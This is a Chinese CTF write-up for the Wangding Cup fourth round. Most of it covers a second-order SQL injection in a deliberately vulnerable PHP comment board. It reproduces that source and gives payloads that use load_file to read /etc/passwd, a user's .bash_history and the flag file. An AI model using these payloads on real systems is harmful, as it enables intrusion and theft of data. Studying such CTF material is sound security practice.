网鼎杯第四场wp

Fourth

https://www.anquanke.com/post/id/158386#h3-1
https://xz.aliyun.com/t/2667

web

comment

这道题目还是不错的

http://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html#comment

.git泄露

这个很多githack类工具拿下来是不全的

大佬说https://github.com/BugScanTeam/GitHack这个最稳 如果拿到不全的也是可以恢复的

https://blog.csdn.net/wy_97/article/details/78165051?locationNum=6&fps=1

或者直接用gittools好像更方便

拿到源码审计发现是二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

emmm源码还是很容易看懂的

addslashes转义所以没办法直接注入 但这些结果都不会影响到数据写入,因为真正插入和更新数据时,这些斜杠又会被转义回来的 so就用二次注入~

有发帖和评论的功能

评论中的category的值是直接从发帖中的结果中取得的(这个设计思路也蛮正常的。。)

他是换行的 #没法多行注释 要用到/ /

创建一个CATEGORY为aaa',content=user(),/* 然后留言回复*/# 便可回显注入

这样sql语句就是这个 最后#闭合多余的单引号’

1
2
3
4
$sql = "insert into comment
set category = 'aaa',content=user(),/*
content = '*/#',
bo_id = '$bo_id'";

然后常规搜下数据库里没东西 那应该就是读文件了 load_file

首先读取一下passwd

‘,content=(select load_file(‘//etc/passwd’)),/*

里面信息的格式为
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

具体参考
https://blog.csdn.net/a1154490629/article/details/52190801
http://www.bubuko.com/infodetail-2344660.html

虽然里面有很多的用户名 但大都是系统帐号

1
2
3
4
5
6
7
8
系统帐号:系统中还有一些默认的帐号,如daemon、bin等。这些帐号有着特殊的用途,一般用于进行系统管理。这些帐号的口令大部分用(x)号表示,代表它们不能在登录时使用。
  bin拥有可执行的用户命令文件
  sys拥有系统文件
  adm拥有帐户文件
  uucpUUCP使用
  lplp或lpd子系统使用
  nobodyNFS使用

[UID]和[GID]小于500的一般都是系统自己保留,不做普通用户和组的标识的,所以新增加的用户和组一般都是UID和GID大于500的

所以我们直接看 500 500 的

这里就是www用户

继续看这个用户的命令记录

‘,content=(select load_file(‘/home/www/.bash_history’)),/*

回显出执行了如下命令

1
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

进入/tmp目录 解压 html.zip 即 /tmp/html 删除html.zip 把/tmp/html 复制到 /var/www/html

进入 /var/www/html

他将默认web目录下的html目录,copy到了/tmp

原先的文件夹中还保留着.DS_Store

‘, content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/*

这里要hex编码一下否则显示不完全

发现文件名 flag_8946e1ff1ee3e40f.php 要回到/var/www/html中读取flag 为啥读这个还不是很清楚。。可能对linux指令的理解有误吧

继续用hex编码,成功得到flag ‘, content=(select hex(load_file(‘/var/www/html/flag_8946e1ff1ee3e40f.php’))),/*

blog

解题思路打开是个wordpress,发现主页上赫然写着青龙鼎科技,尝试github搜 qinglongdingkeji.com 搜到了一个仓库

在api.php 泄露了接口,所以直接爆破uid即可

讲道理感觉这题没啥意思

NoWafUpload

诶 这个好像要逆so文件 lemon师傅在sctf上出过差不多的 还没看懂

crypto

shanghai

维吉尼亚 不知道秘钥解密

直接上tjctf时搜到的网站

https://www.guballa.de/vigenere-solver

APL

感觉是一道有趣(划掉)的re

https://xz.aliyun.com/t/2666